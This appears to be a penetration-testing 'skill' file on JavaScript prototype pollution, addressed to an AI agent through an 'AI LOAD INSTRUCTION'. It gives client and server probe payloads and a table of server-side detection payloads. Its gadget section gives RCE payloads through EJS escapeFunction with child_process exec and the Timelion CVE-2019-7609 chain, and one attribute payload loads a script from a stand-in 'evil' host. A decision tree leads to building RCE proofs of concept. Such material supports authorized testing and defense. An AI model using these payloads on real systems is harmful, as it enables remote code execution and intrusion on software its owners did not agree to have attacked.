SKILL: Prototype Pollution

April 21, 2026 · View on GitHub

AI LOAD INSTRUCTION: Expert prototype pollution for client and server JS. Covers __proto__ vs constructor.prototype, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on parser behavior and post-pollution sinks.

Routing note: prioritize PP when you see deep merges, recursive assign, JSON.parse followed by Object.assign, or URL queries converted to nested objects.

0. QUICK START

Client-side first probes

#__proto__[polluted]=1
#__proto__[polluted]=polluted
#constructor[prototype][polluted]=1

When input can reflect into DOM or framework routing, pair with alert(1) / console checks to observe whether global object properties were polluted.

#__proto__[xxx]=alert(1)

Server-side first probes（JSON / form）

{"__proto__":{"polluted":true}}

{"constructor":{"prototype":{"polluted":true}}}

After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads Object.prototype.polluted (see §3 detection table).

Quick boolean

If target code uses lodash.merge, deep-extend, hoek.applyToDefaults, or some qs/query-string configurations, raise priority.

1. MECHANISM

Prototype chain: when accessing obj.key, if obj lacks own property key, lookup walks up [[Prototype]] until Object.prototype.

__proto__: many parsers treat literal key __proto__ as a magic path that attaches child properties to the prototype. Merging { "__proto__": { "x": 1 } } can be equivalent to Object.prototype.x = 1 depending on implementation and patch level.

constructor.prototype: constructor typically points to the object's constructor function; constructor.prototype is that constructor's prototype object. For plain objects this usually links to Object.prototype. Example path:

{"constructor":{"prototype":{"polluted":1}}}

This is not always equivalent to __proto__ (filtering, JSON parsing, Bun/Node differences), so test both paths.

Core issue: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to prototype objects, giving global or shared template context malicious properties that later code reads normally, triggering gadgets.

2. CLIENT-SIDE DETECTION

URL fragment

https://app.example/page#__proto__[admin]=1

https://app.example/#__proto__[xxx]=alert(1)

If router or analytics code parses fragments into objects and then merges, pollution may occur.

constructor.prototype path

#constructor[prototype][role]=admin

DOM / attribute injection ideas

If the framework merges attribute names as object keys:

__proto__[src]=//evil/xss.js

Event-handler style keys (implementation-dependent):

__proto__[onerror]=alert(1)

Verification: open a fresh page without fragment and check in console whether test keys remain on Object.prototype; account for extension and DevTools interference.

3. SERVER-SIDE DETECTION (Express / Node, black-box)

The payloads below assume body/query is deeply parsed into objects by qs or similar parsers (possibly with body-parser). Observe global side effects, not only current endpoint return values.

Payload (JSON example)Expected observable signal
{"__proto__":{"parameterLimit":1}}Multi-parameter parsing in follow-up requests is ignored or abnormal (qs-style parameterLimit)
{"__proto__":{"ignoreQueryPrefix":true}}Double-question-mark prefixes like ??foo=bar are accepted or behavior changes sharply
{"__proto__":{"allowDots":true}}Nested keys like ?foo.bar=baz are expanded via dot notation
{"__proto__":{"json spaces":" "}}JSON-serialized responses gain extra spaces (JSON.stringify spacing setting polluted)
{"__proto__":{"exposedHeaders":["foo"]}}CORS responses include foo-related headers (if framework reads config from prototype)
{"__proto__":{"status":510}}Some response status changes to 510 or another abnormal code (app reads status from object)

Operational tip: send pollution request first, then a clean request to observe persistence; connection pools and worker lifecycle affect whether impact is globally visible.

4. EXPLOITATION GADGETS

Target / scenarioPayload or patternNotes
EJS{"__proto__":{"client":1,"escapeFunction":"JSON.stringify; process.mainModule.require('child_process').exec('COMMAND')"}}If template engine options like escapeFunction are read from polluted prototype, this may lead to RCE; strongly version/config dependent
Timelion expression chain (CVE-2019-7609).es(*).props(label.__proto__.env.AAAA='require("child_process").exec("COMMAND")')Historical chain: prototype pollution + timeline expression execution; useful to understand expression + PP combinations
Node child_processPollute shell, argv0, env, NODE_OPTIONS, etc. (merged into exec/fork option objects)Depends on whether later code calls spawn/fork and reads options from prototype chain
Generic constructor path{"constructor":{"prototype":{"foo":"bar"}}}Bypasses weak validation that filters only the __proto__ key

Chain mindset: pollution -> dependency reads obj.settings.xxx without hasOwnProperty -> RCE / SSRF / path traversal.

5. TOOLS

ProjectPurpose
yeswehack/pp-finderHelps locate PP-prone merge points and patterns
yuske/silent-springResearch and detection around prototype-pollution surfaces
yuske/server-side-prototype-pollutionServer-side PP testing suite/methodology
BlackFan/client-side-prototype-pollutionBrowser-side PP cases and payloads
portswigger/server-side-prototype-pollutionBurp ecosystem extension / supporting material
msrkp/PPScanScanning/verification helper

Prioritize use on authorized targets; automated tools can cause side effects on stateful applications.

6. DECISION TREE

                    Input merged into nested object?
                    (query, JSON, GraphQL vars, YAML→JSON)
                                |
               NO --------------+-------------- YES
               |                              |
        Other vuln class                Parser allows __proto__ /
                                        constructor.prototype keys?
                                                    |
                                    NO --------------+-------------- YES
                                    |                              |
                             Check unicode /                    Confirm global effect:
                             bypass of key names               clean follow-up request
                                    |                              |
                                    +--------------+----------------+
                                                   |
                                                   v
                                    Gadget present? (template, spawn, JSON.stringify opts, CORS)
                                                   |
                              NO ------------------+------------------ YES
                              |                                         |
                       Report PP as DoS /              Build minimal RCE or
                       logic impact                   high-impact PoC
                              |                                         |
                              +---------------------+-------------------+
                                                    |
                                                    v
                              Client-side: fragment / DOM / third-party script
                              Server-side: qs/body-parser/lodash/deep-merge version audit